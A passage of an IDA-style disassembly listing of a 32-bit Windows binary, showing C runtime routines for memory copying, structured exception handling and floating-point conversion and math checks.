		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C5E7:				; CODE XREF: sub_41C310+1C2j
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C5F0	dd offset loc_41C600	; DATA XREF: sub_41C310+1B7r
					; sub_41C310:loc_41C4F4r ...
		dd offset loc_41C608
		dd offset loc_41C618
		dd offset loc_41C62C
; ---------------------------------------------------------------------------


loc_41C600:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C608:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C618:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C62C:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_40BFEB+40p
					; ___:0040E29Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41AFE0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420510
		add	esp, 10h
		leave
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C679(double)

sub_41C679	proc near		; CODE XREF: sub_40D030+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43FB40
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C6FF
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C6E2
		cmp	eax, 2
		jle	short loc_41C6D4
		cmp	eax, 3
		jnz	short loc_41C6E2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6D4:				; CODE XREF: sub_41C679+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6E2:				; CODE XREF: sub_41C679+3Aj
					; sub_41C679+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------


loc_41C6FF:				; CODE XREF: sub_41C679+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C722


loc_41C714:				; CODE XREF: sub_41C679+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C722:				; CODE XREF: sub_41C679+99j
		test	bl, 20h
		jnz	short loc_41C714
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41C73C:				; CODE XREF: sub_41C679+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C744:				; CODE XREF: sub_41C679+59j
					; sub_41C679+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C748	proc near		; CODE XREF: ___:0041B78Dp
					; sub_4218B2+21p
					; DATA XREF: ...
		call	sub_41C760
		call	sub_4218B2
		mov	dword_4E0B7C, eax
		call	sub_421862
		fnclex
		retn
sub_41C748	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C760	proc near		; CODE XREF: sub_41C748p
		mov	eax, offset sub_421CA0
		mov	off_442154, offset sub_421935
		mov	off_442150, eax
		mov	off_442158, offset sub_42199B
		mov	off_44215C, offset sub_4218DB
		mov	off_442160, offset sub_421983
		mov	off_442164, eax
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C798	proc near		; CODE XREF: sub_40D030+1Bp
					; sub_40D030+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BF(double)

sub_41C7BF	proc near		; CODE XREF: sub_40D07C+82p
					; ___:0040DD3Cp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43FB58
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C845
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C828
		cmp	eax, 2
		jle	short loc_41C81A
		cmp	eax, 3
		jnz	short loc_41C828
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C81A:				; CODE XREF: sub_41C7BF+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C828:				; CODE XREF: sub_41C7BF+3Aj
					; sub_41C7BF+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41C882
; ---------------------------------------------------------------------------


loc_41C845:				; CODE XREF: sub_41C7BF+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C868


loc_41C85A:				; CODE XREF: sub_41C7BF+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C868:				; CODE XREF: sub_41C7BF+99j
		test	bl, 20h
		jnz	short loc_41C85A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41C882:				; CODE XREF: sub_41C7BF+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C88A:				; CODE XREF: sub_41C7BF+59j
					; sub_41C7BF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C88E	proc near		; CODE XREF: ___:00422182p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41C88E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41C8C2	proc near		; CODE XREF: sub_4222C2+199p
					; sub_422486+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_4222C2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41C8D0	proc near		; CODE XREF: sub_41CA82+5Cp
					; sub_422111:loc_422142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41C8F8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42675C
sub_41C8D0	endp

; ---------------------------------------------------------------------------


loc_41C8F8:				; DATA XREF: sub_41C8D0+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41C91F:				; CODE XREF: ___:00426DFCj
					; ___:00426E19j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421D16
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C955	proc near		; CODE XREF: sub_42218C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41C9A9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422510
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41C955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A9	proc near		; DATA XREF: sub_41C955+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		pop	ebp
		retn
sub_41C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9CE	proc near		; CODE XREF: sub_421F58+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CA82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CA54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4E0BD4
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41CA54:				; DATA XREF: sub_41C9CE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CA71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------


loc_41CA71:				; CODE XREF: sub_41C9CE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41CA7A:				; CODE XREF: sub_41C9CE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA82	proc near		; DATA XREF: sub_41C9CE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CAA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CAF2
; ---------------------------------------------------------------------------


loc_41CAA5:				; CODE XREF: sub_41CA82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CAE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41C8D0
; ---------------------------------------------------------------------------


loc_41CAE3:				; CODE XREF: sub_41CA82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41CAF2:				; CODE XREF: sub_41CA82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF7	proc near		; CODE XREF: sub_421DB1+C6p
					; sub_421F58+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CB4E


loc_41CB15:				; CODE XREF: sub_41CAF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB1F
		call	sub_4225B2


loc_41CB1F:				; CODE XREF: sub_41CAF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CB34
		cmp	ecx, [eax+8]
		jle	short loc_41CB39


loc_41CB34:				; CODE XREF: sub_41CAF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB45


loc_41CB39:				; CODE XREF: sub_41CAF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41CB45:				; CODE XREF: sub_41CAF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CB15
		mov	eax, [ebp+var_4]


loc_41CB4E:				; CODE XREF: sub_41CAF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CB62
		cmp	esi, eax
		jbe	short loc_41CB67


loc_41CB62:				; CODE XREF: sub_41CAF7+65j
		call	sub_4225B2


loc_41CB67:				; CODE XREF: sub_41CAF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CAF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41CB74	proc near		; CODE XREF: sub_4234B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41CB8C
		push	[ebp+arg_0]
		call	sub_42675C
sub_41CB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; DATA XREF: sub_41CB74+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CB94	proc near		; DATA XREF: sub_41CBB6+Ao
					; sub_41CC1E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CBB5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CBB5:				; CODE XREF: sub_41CB94+10j
		retn
sub_41CB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBB6	proc near		; CODE XREF: sub_422232+Dp
					; sub_4234B8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CB94
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41CBD3:				; CODE XREF: sub_41CBB6:loc_41CC0Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CC10
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CC10
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CC0E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CC4A
		call	dword ptr [ebx+esi*4+8]


loc_41CC0E:				; CODE XREF: sub_41CBB6+44j
		jmp	short loc_41CBD3
; ---------------------------------------------------------------------------


loc_41CC10:				; CODE XREF: sub_41CBB6+2Aj
					; sub_41CBB6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CBB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1E	proc near		; CODE XREF: sub_422252+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CB94
		jnz	short locret_41CC40
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CC40
		mov	eax, 1

locret_41CC40:				; CODE XREF: sub_41CC1E+10j
					; sub_41CC1E+1Bj
		retn
sub_41CC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC41	proc near		; CODE XREF: sub_422510+1Ep
					; sub_422510+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43FB5C
		jmp	short loc_41CC54
sub_41CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC4A	proc near		; CODE XREF: sub_41CBB6+4Fp
					; sub_4234B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43FB5C
		mov	ecx, [ebp+8]


loc_41CC54:				; CODE XREF: sub_41CC41+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CC4A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CC64	proc near		; CODE XREF: sub_40D07C+5p
					; sub_40D21E+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CC64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: sub_40D6B3+26p
					; ___:004264F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC90	proc near		; CODE XREF: sub_40D724+3Ap
					; sub_41DEA2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CCB0
		cmp	edi, eax
		jb	loc_41CE28


loc_41CCB0:				; CODE XREF: sub_41CC90+16j
		test	edi, 3
		jnz	short loc_41CCCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------


loc_41CCCC:				; CODE XREF: sub_41CC90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CCE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CCE4:				; CODE XREF: sub_41CC90+46j
		jmp	dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CCEC:				; CODE XREF: sub_41CC90+31j
					; sub_41CC90+8Ej ...
		jmp	off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41CD00
		dd offset loc_41CD2C
		dd offset loc_41CD50
; ---------------------------------------------------------------------------


loc_41CD00:				; DATA XREF: sub_41CC90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD2C:				; DATA XREF: sub_41CC90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CD50:				; DATA XREF: sub_41CC90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------


loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
